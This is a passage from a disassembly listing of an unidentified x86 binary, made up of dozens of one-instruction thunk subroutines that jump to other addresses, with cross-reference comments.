sub_4017EE endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_4017F3 proc near ; CODE XREF: ___:00421EAAp jmp sub_422470 sub_4017F3 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn thunk sub_4017F8 proc near jmp sub_40B2F0 sub_4017F8 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_4017FD proc near ; CODE XREF: sub_4068E0+205p jmp sub_41B920 sub_4017FD endp ; [00000005 BYTES: COLLAPSED FUNCTION j_nullsub_8. PRESS KEYPAD "+" TO EXPAND] ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_401807 proc near ; CODE XREF: ___:00427D03p jmp sub_427D30 sub_401807 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_40180C proc near ; CODE XREF: ___:00425F16p ; ___:00425F47p jmp sub_4257F0 sub_40180C endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_401811 proc near ; CODE XREF: sub_41E760+FFp ; sub_41E760+179p ... jmp sub_421B80 sub_401811 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_401816 proc near ; CODE XREF: sub_40A1F0+7p jmp sub_40A210 sub_401816 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn thunk sub_40181B proc near ; CODE XREF: sub_40B510+76p jmp sub_40B470 sub_40181B endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_401820 proc near ; CODE XREF: ___:00423F8Dp ; DATA XREF: ___:off_445434o jmp sub_425100 sub_401820 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn thunk sub_401825 proc near ; CODE XREF: sub_41E760+18Ep ; ___:0043C483j jmp sub_4219F0 sub_401825 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_40182A proc near ; DATA XREF: ___:off_43F10Co jmp sub_428210 sub_40182A endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_40182F proc near ; CODE XREF: ___:00416EDFp jmp sub_417EF0 sub_40182F endp ; --------------------------------------------------------------------------- jmp loc_42FF10 ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_401839 proc near ; CODE XREF: sub_41E760+3BCp ; sub_4226B0+3p jmp sub_421D50 sub_401839 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_40183E proc near ; CODE XREF: sub_427990+90p jmp sub_427C50 sub_40183E endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_401843 proc near ; CODE XREF: ___:0042444Dp ; sub_424920+135p jmp sub_424480 sub_401843 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_401848 proc near ; CODE XREF: sub_40BF20+3p ; ___:0040BFEFp ... jmp sub_40C160 sub_401848 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_40184D proc near ; CODE XREF: sub_407140+36p ; sub_407140+72p ... jmp sub_407390 sub_40184D endp ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn thunk sub_401852 proc near ; CODE XREF: ___:00413251p jmp sub_415770 sub_401852 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_401857 proc near ; CODE XREF: ___:0040BAB1p ; ___:0040BB78p ... jmp sub_412B70 sub_401857 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_40185C proc near ; CODE XREF: ___:004332DFp ; ___:004333EFp ... jmp sub_432E20 sub_40185C endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_401861 proc near ; DATA XREF: ___:0043359Ao ; ___:00433700o jmp sub_432E90 sub_401861 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn thunk sub_401866 proc near ; CODE XREF: sub_416460+7p jmp sub_416840 sub_401866 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_40186B proc near ; CODE XREF: sub_418430+34p jmp sub_404C70 sub_40186B endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_401870 proc near ; CODE XREF: sub_403530+7Ap ; sub_403530+9Ep ... jmp sub_409C20 sub_401870 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_401875 proc near ; CODE XREF: sub_420630+152p jmp sub_4208A0 sub_401875 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_40187A proc near ; CODE XREF: ___:0041A328p ; sub_41B110+3p ... jmp sub_41B140 sub_40187A endp ; --------------------------------------------------------------------------- jmp loc_42B060 ; --------------------------------------------------------------------------- jmp loc_41C1E0 ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_401889 proc near ; CODE XREF: ___:00416B4Bp ; ___:0043B26Cj ... jmp sub_416E10 sub_401889 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_40188E proc near ; CODE XREF: sub_410030+217p ; sub_41FE90+4Cp ... jmp sub_41FE50 sub_40188E endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_401893 proc near ; CODE XREF: sub_42AD90+9Dp jmp sub_429450 sub_401893 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_401898 proc near ; CODE XREF: ___:0042D2F5p jmp sub_4290B0 sub_401898 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_40189D proc near ; DATA XREF: ___:0043F184o jmp sub_42B440 sub_40189D endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_4018A2 proc near ; CODE XREF: sub_41B5B0+DDp jmp sub_41AE30 sub_4018A2 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_4018A7 proc near jmp sub_4341C0 sub_4018A7 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_4018AC proc near ; CODE XREF: ___:00414295p ; sub_414E10+1B2p jmp sub_413E70 sub_4018AC endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_4018B1 proc near ; CODE XREF: sub_4120B0+1B6p jmp sub_40A1F0 sub_4018B1 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_4018B6 proc near ; CODE XREF: sub_41E760+5ABp jmp sub_4204D0 sub_4018B6 endp ; --------------------------------------------------------------------------- jmp loc_433000 ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_4018C0 proc near ; CODE XREF: sub_40A9F0+14p jmp sub_40ACA0 sub_4018C0 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_4018C5 proc near ; CODE XREF: sub_4135E0+B4p ; ___:00414C60p ... jmp sub_415710 sub_4018C5 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_4018CA proc near ; CODE XREF: sub_41A3B0+6Dp ; sub_41A3B0+1B5p jmp sub_41B060 sub_4018CA endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_4018CF proc near ; CODE XREF: ___:004323CAp jmp sub_431D80 sub_4018CF endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_4018D4 proc near ; CODE XREF: sub_418F90+5Fp jmp sub_419130 sub_4018D4 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_4018D9 proc near ; CODE XREF: ___:00416B9Bp ; ___:0043B226j ... jmp sub_4179F0 sub_4018D9 endp ; --------------------------------------------------------------------------- jmp loc_419ED0 ; --------------------------------------------------------------------------- jmp sub_41A1E0 ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn thunk sub_4018E8 proc near ; CODE XREF: sub_41E760+46p jmp sub_4219B0 sub_4018E8 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_4018ED proc near ; CODE XREF: ___:0042D425p jmp sub_42ACB0 sub_4018ED endp ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn thunk sub_4018F2 proc near ; CODE XREF: sub_422230+7p jmp sub_422620 sub_4018F2 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_4018F7 proc near ; CODE XREF: sub_4220B0+9p ; sub_422510+18p jmp sub_422690 sub_4018F7 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_4018FC proc near ; CODE XREF: sub_4222B0+8p jmp sub_422670 sub_4018FC endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_401901 proc near ; CODE XREF: sub_4134A0+43p ; sub_4148A0+4Fp ... jmp sub_415820 sub_401901 endp ; --------------------------------------------------------------------------- jmp loc_431D00 ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn thunk sub_40190B proc near ; CODE XREF: sub_421AD0+1Fp jmp sub_421E50 sub_40190B endp ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn thunk sub_401910 proc near ; CODE XREF: sub_4219B0+11p ; sub_421E50+1Fp jmp sub_421F80 sub_401910 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn thunk sub_401915 proc near ; CODE XREF: sub_40B470+6Dp jmp sub_40BE70 sub_401915 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn thunk sub_40191A proc near ; CODE XREF: sub_409530+13p jmp sub_409660 sub_40191A endp ; --------------------------------------------------------------------------- jmp loc_4378B0 ; --------------------------------------------------------------------------- jmp sub_41B110 ; --------------------------------------------------------------------------- loc_401929: ; DATA XREF: ___:off_43F068o jmp loc_416DE0 ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_40192E proc near ; CODE XREF: ___:00413C01p jmp sub_413A80 sub_40192E endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_401933 proc near ; CODE XREF: ___:00413263p ; sub_4132F0+32p jmp sub_4155B0 sub_401933 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_401938 proc near ; CODE XREF: ___:00416C4Bp ; ___:0043B18Cj ... jmp sub_417120 sub_401938 endp ; --------------------------------------------------------------------------- jmp loc_432390 ; --------------------------------------------------------------------------- jmp loc_4347E0 ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_401947 proc near ; CODE XREF: sub_41C710+F1p ; sub_41C710+270p ... jmp sub_420F10 sub_401947 endp ; --------------------------------------------------------------------------- jmp loc_40A4E0 ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_401951 proc near ; CODE XREF: sub_404CC0+283p ; sub_40EE40+D2p ... jmp sub_40F060 sub_401951 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn thunk sub_401956 proc near ; CODE XREF: sub_4219F0+34p ; sub_422340+67p jmp sub_421FD0 sub_401956 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_40195B proc near ; CODE XREF: sub_404CC0+BF1p jmp sub_406730 sub_40195B endp ; --------------------------------------------------------------------------- jmp loc_433650 ; --------------------------------------------------------------------------- loc_401965: ; DATA XREF: sub_41FD00+39o jmp loc_41FC30 ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_40196A proc near ; CODE XREF: ___:0041A29Ep ; sub_41A3B0+Bp ... jmp sub_41A390 sub_40196A endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_40196F proc near ; CODE XREF: ___:0041AC86p ; ___:0041AD66p jmp sub_41A990 sub_40196F endp ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn thunk sub_401974 proc near jmp sub_419320 sub_401974 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_401979 proc near ; CODE XREF: sub_4119E0+2Ep ; sub_411BE0+3p jmp sub_411B20 sub_401979 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_40197E proc near ; CODE XREF: sub_41E760+F5p ; sub_41E760+16Fp ... jmp sub_421AA0 sub_40197E endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_401983 proc near ; CODE XREF: sub_409530+4p ; sub_4096E0+1Fp ... jmp sub_4095E0 sub_401983 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_401988 proc near jmp sub_409B10 sub_401988 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_40198D proc near ; CODE XREF: sub_41F960+20p ; sub_42AD90+37p jmp sub_41FF50 sub_40198D endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_401992 proc near ; CODE XREF: sub_4135E0+4Ap ; ___:00414C0Fp ... jmp sub_415500 sub_401992 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_401997 proc near ; CODE XREF: sub_40A510+A8p jmp sub_40A930 sub_401997 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_40199C proc near ; CODE XREF: sub_40CC90+41p jmp sub_40CF40 sub_40199C endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_4019A1 proc near ; CODE XREF: ___:004346F5p ; ___:004347F5p jmp sub_434450 sub_4019A1 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_4019A6 proc near ; CODE XREF: sub_4219F0+29p jmp sub_421EF0 sub_4019A6 endp ; --------------------------------------------------------------------------- jmp loc_42FFE0 ; --------------------------------------------------------------------------- jmp loc_42FFB0 ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_4019B5 proc near ; CODE XREF: sub_40A870+Dp ; sub_40AAD0+91p jmp sub_40A9F0 sub_4019B5 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_4019BA proc near ; CODE XREF: sub_422150+23p ; sub_422510+11p jmp sub_4226B0 sub_4019BA endp ; --------------------------------------------------------------------------- jmp loc_41AC20 ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_4019C4 proc near ; CODE XREF: sub_404010+2Cp ; ___:0040408Fp ... jmp sub_403530 sub_4019C4 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_4019C9 proc near ; CODE XREF: sub_422850+6p jmp sub_4228C0 sub_4019C9 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_4019CE proc near ; DATA XREF: ___:off_43F050o jmp sub_416D30 sub_4019CE endp ; --------------------------------------------------------------------------- jmp sub_40FE40 ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn thunk sub_4019D8 proc near ; CODE XREF: sub_407460+4p jmp sub_407590 sub_4019D8 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_4019DD proc near ; CODE XREF: ___:0040B709p ; ___:0040BB26p ... jmp sub_40B600 sub_4019DD endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_4019E2 proc near ; CODE XREF: sub_410030+AF4p ; sub_410030+E6Ap jmp sub_411BE0 sub_4019E2 endp ; --------------------------------------------------------------------------- jmp loc_433C30 ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_4019EC proc near ; CODE XREF: sub_4145A0+CEp jmp sub_414710 sub_4019EC endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_4019F1 proc near ; DATA XREF: ___:0043F1C8o jmp sub_42CB70 sub_4019F1 endp ; --------------------------------------------------------------------------- loc_4019F6: ; DATA XREF: ___:off_43F0D0o jmp loc_41D830 ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_4019FB proc near ; CODE XREF: sub_421B10+3p jmp sub_422030 sub_4019FB endp ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn thunk sub_401A00 proc near ; CODE XREF: ___:00416E8Fp jmp sub_40B190 sub_401A00 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn thunk sub_401A05 proc near jmp sub_4133B0 sub_401A05 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_401A0A proc near ; CODE XREF: sub_41E760+477p jmp sub_4201F0 sub_401A0A endp ; --------------------------------------------------------------------------- jmp loc_421950 ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_401A14 proc near ; DATA XREF: ___:0043F124o jmp sub_428940 sub_401A14 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn thunk sub_401A19 proc near jmp sub_411C10 sub_401A19 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_401A1E proc near ; CODE XREF: sub_4344C0+92p jmp sub_431C30 sub_401A1E endp ; --------------------------------------------------------------------------- jmp loc_4292B0 ; --------------------------------------------------------------------------- jmp loc_427D00 ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn thunk sub_401A2D proc near ; CODE XREF: sub_421EF0+32p jmp sub_422340 sub_401A2D endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_401A32 proc near ; CODE XREF: ___:00416BDBp ; sub_416D30+3p ... jmp sub_416D00 sub_401A32 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_401A37 proc near ; CODE XREF: ___:00423B04p ; ___:004285E8p ... jmp sub_420E00 sub_401A37 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_401A3C proc near ; CODE XREF: sub_422310+Ap jmp sub_422720 sub_401A3C endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_401A41 proc near ; CODE XREF: ___:00412F9Fp ; ___:00413054p ... jmp sub_404690 sub_401A41 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_401A46 proc near ; CODE XREF: sub_409530+1Ap ; sub_409610+4p ... jmp sub_4095A0 sub_401A46 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn thunk sub_401A4B proc near ; DATA XREF: ___:off_43F028o jmp sub_40FE40 sub_401A4B endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_401A50 proc near ; DATA XREF: ___:0043F0E4o jmp sub_427990 sub_401A50 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_401A55 proc near ; CODE XREF: ___:00426475p jmp sub_426070 sub_401A55 endp ; --------------------------------------------------------------------------- jmp loc_409E30 ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_401A5F proc near ; CODE XREF: sub_415BA0+1Ep jmp sub_416650 sub_401A5F endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_401A64 proc near ; CODE XREF: ___:004305E0p ; sub_4321F0+36p ... jmp sub_431630 sub_401A64 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_401A69 proc near ; CODE XREF: sub_4138B0+3Ep jmp sub_434BF0 sub_401A69 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_401A6E proc near ; CODE XREF: sub_414A70+3p jmp sub_414AA0 sub_401A6E endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_401A73 proc near ; CODE XREF: ___:00408299p ; ___:0040872Ap jmp sub_409570 sub_401A73 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn thunk sub_401A78 proc near ; DATA XREF: ___:0043F0E0o ; ___:0043F0F0o ... jmp sub_4276C0 sub_401A78 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn thunk sub_401A7D proc near ; CODE XREF: sub_41D930+1ADp jmp sub_42DB00 sub_401A7D endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_401A82 proc near ; CODE XREF: sub_420630+191p ; sub_4228C0+3p ... jmp sub_4208C0 sub_401A82 endp ; --------------------------------------------------------------------------- jmp loc_4302E0 ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_401A8C proc near ; CODE XREF: sub_4226E0+5p jmp sub_422850 sub_401A8C endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_401A91 proc near ; CODE XREF: ___:00416F4Ap jmp sub_418200 sub_401A91 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_401A96 proc near ; CODE XREF: sub_407270+5p ; sub_407360+6p ... jmp sub_4074B0 sub_401A96 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_401A9B proc near ; CODE XREF: sub_403530+90p ; sub_404CC0+40Cp ... jmp sub_40A780 sub_401A9B endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_401AA0 proc near ; CODE XREF: sub_41D930+2FFp ; sub_41F030+52Fp jmp sub_41FE90 sub_401AA0 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_401AA5 proc near ; CODE XREF: ___:004330BAp jmp sub_430B30 sub_401AA5 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn thunk sub_401AAA proc near ; CODE XREF: sub_415570+1Fp jmp sub_415ED0 sub_401AAA endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_401AAF proc near ; CODE XREF: sub_403530+E5p ; sub_409F50+Fp ... jmp sub_409E80 sub_401AAF endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_401AB4 proc near ; CODE XREF: sub_432850+17p ; sub_432850+33p jmp sub_434A00 sub_401AB4 endp ; --------------------------------------------------------------------------- jmp loc_434770 ; [00000005 BYTES: COLLAPSED FUNCTION j_nullsub_11. PRESS KEYPAD "+" TO EXPAND] ; --------------------------------------------------------------------------- jmp loc_427D00 ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_401AC8 proc near ; CODE XREF: sub_424F70+E5p ; sub_424F70+120p jmp sub_424E20 sub_401AC8 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_401ACD proc near ; DATA XREF: ___:off_43F034o jmp sub_4120B0 sub_401ACD endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_401AD2 proc near ; DATA XREF: ___:0041FC33o jmp sub_41FB90 sub_401AD2 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_401AD7 proc near ; CODE XREF: sub_407140+Bp jmp sub_407320 sub_401AD7 endp ; --------------------------------------------------------------------------- jmp loc_433E90 ; --------------------------------------------------------------------------- loc_401AE1: ; DATA XREF: ___:off_43F020o jmp loc_40B9B0 ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_401AE6 proc near ; CODE XREF: sub_403F30+2Bp ; sub_403F30+3Bp ... jmp sub_403D60 sub_401AE6 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_401AEB proc near ; CODE XREF: sub_4135E0+66p ; sub_4135E0+CAp ... jmp sub_415740 sub_401AEB endp ; --------------------------------------------------------------------------- jmp loc_41B880 ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn thunk sub_401AF5 proc near jmp sub_4228F0 sub_401AF5 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn thunk sub_401AFA proc near ; CODE XREF: ___:00416C2Bp ; ___:0043B1A8j ... jmp sub_40B250 sub_401AFA endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_401AFF proc near ; CODE XREF: ___:00421864p ; ___:0042189Ep jmp sub_4216D0 sub_401AFF endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_401B04 proc near ; CODE XREF: sub_404C30+15p jmp sub_407140 sub_401B04 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_401B09 proc near ; DATA XREF: ___:off_43F0BCo jmp sub_41A1E0 sub_401B09 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn thunk sub_401B0E proc near ; CODE XREF: ___:0041700Fp jmp sub_418A00 sub_401B0E endp ; --------------------------------------------------------------------------- loc_401B13: ; CODE XREF: ___:00439F76j jmp loc_40CBD0 ; --------------------------------------------------------------------------- loc_401B18: ; DATA XREF: ___:off_43F16Co jmp loc_42B060 ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn thunk sub_401B1D proc near ; CODE XREF: sub_4170B0+28p jmp sub_418990 sub_401B1D endp ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn thunk sub_401B22 proc near ; CODE XREF: ___:00432CD7p jmp sub_432D10 sub_401B22 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_401B27 proc near ; CODE XREF: sub_431240+Bp jmp sub_4316C0 sub_401B27 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_401B2C proc near jmp sub_40AF80 sub_401B2C endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_401B31 proc near ; CODE XREF: ___:00418D7Bp ; sub_418F90+28p ... jmp sub_419050 sub_401B31 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_401B36 proc near ; DATA XREF: ___:off_43F1B0o jmp sub_42C7E0 sub_401B36 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_401B3B proc near ; CODE XREF: ___:00416B7Bp ; ___:0043B242j ... jmp sub_417AD0 sub_401B3B endp ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn thunk sub_401B40 proc near ; CODE XREF: ___:004087C9p ; ___:004087EAp ... jmp sub_4076B0 sub_401B40 endp ; --------------------------------------------------------------------------- jmp loc_414BC0 ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_401B4A proc near ; CODE XREF: sub_41C710+83p ; ___:004295EFp jmp sub_41D640 sub_401B4A endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_401B4F proc near ; CODE XREF: sub_41A990+11p jmp sub_41A9C0 sub_401B4F endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_401B54 proc near ; CODE XREF: sub_41E760+339p jmp sub_421D10 sub_401B54 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn thunk sub_401B59 proc near ; CODE XREF: sub_414D40+3p jmp sub_414D70 sub_401B59 endp ; --------------------------------------------------------------------------- jmp loc_433F90 ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_401B63 proc near ; CODE XREF: sub_430D90+29p jmp sub_430830 sub_401B63 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn thunk sub_401B68 proc near ; CODE XREF: sub_40FE70+38p ; ___:0043A458j jmp sub_412C90 sub_401B68 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn thunk sub_401B6D proc near jmp sub_40D660 sub_401B6D endp ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn thunk sub_401B72 proc near ; CODE XREF: sub_4076B0+3Bp ; sub_407740+43p jmp sub_40B510 sub_401B72 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_401B77 proc near ; CODE XREF: sub_407320+3p jmp sub_4074F0 sub_401B77 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_401B7C proc near ; CODE XREF: sub_424920+9Dp ; sub_424920+FBp ... jmp sub_4246D0 sub_401B7C endp ; --------------------------------------------------------------------------- loc_401B81: ; DATA XREF: ___:off_43F084o jmp loc_426EC0 ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_401B86 proc near ; CODE XREF: sub_410030+413p ; sub_410030+F69p ... jmp sub_40A040 sub_401B86 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_401B8B proc near ; CODE XREF: ___:00426764p jmp sub_4267D0 sub_401B8B endp ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn thunk sub_401B90 proc near ; CODE XREF: sub_422150+32p jmp sub_422510 sub_401B90 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_401B95 proc near ; CODE XREF: sub_41B5B0+A5p jmp sub_41A7D0 sub_401B95 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_401B9A proc near ; CODE XREF: sub_40C040+23p ; sub_40C200+11p jmp sub_40C3A0 sub_401B9A endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_401B9F proc near ; CODE XREF: ___:0042CB23p jmp sub_42CB50 sub_401B9F endp ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn thunk sub_401BA4 proc near jmp sub_41E240 sub_401BA4 endp ; --------------------------------------------------------------------------- loc_401BA9: ; DATA XREF: sub_431240+86o jmp loc_432940 ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_401BAE proc near ; CODE XREF: sub_409610+20p jmp sub_4096E0 sub_401BAE endp ; [00000005 BYTES: COLLAPSED FUNCTION j_nullsub_9. PRESS KEYPAD "+" TO EXPAND] ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_401BB8 proc near ; DATA XREF: ___:off_43F0A4o jmp sub_40CC90 sub_401BB8 endp ; --------------------------------------------------------------------------- jmp loc_431CC0 ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn thunk sub_401BC2 proc near ; CODE XREF: sub_421CD0+1Fp jmp sub_4220B0 sub_401BC2 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn thunk sub_401BC7 proc near ; CODE XREF: sub_428810+39p jmp sub_4283D0 sub_401BC7 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_401BCC proc near ; CODE XREF: sub_415820+5p ; sub_415A30+6p ... jmp sub_416480 sub_401BCC endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_401BD1 proc near ; CODE XREF: sub_4316C0+5Dp ; sub_432A20+3Ep jmp sub_4317C0 sub_401BD1 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_401BD6 proc near ; CODE XREF: ___:00433419p ; ___:0043343Ap ... jmp sub_431EF0 sub_401BD6 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_401BDB proc near ; CODE XREF: ___:00427092p jmp sub_427C90 sub_401BDB endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_401BE0 proc near ; CODE XREF: sub_41B4D0+3p jmp sub_41B500 sub_401BE0 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_401BE5 proc near ; CODE XREF: sub_429510+3p jmp sub_429540 sub_401BE5 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_401BEA proc near ; CODE XREF: sub_422B40+924p ; ___:0042416Ap jmp sub_426BD0 sub_401BEA endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_401BEF proc near ; CODE XREF: sub_42E5B0+18Dp ; sub_42E5B0+1CDp ... jmp sub_42F2C0 sub_401BEF endp ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn thunk 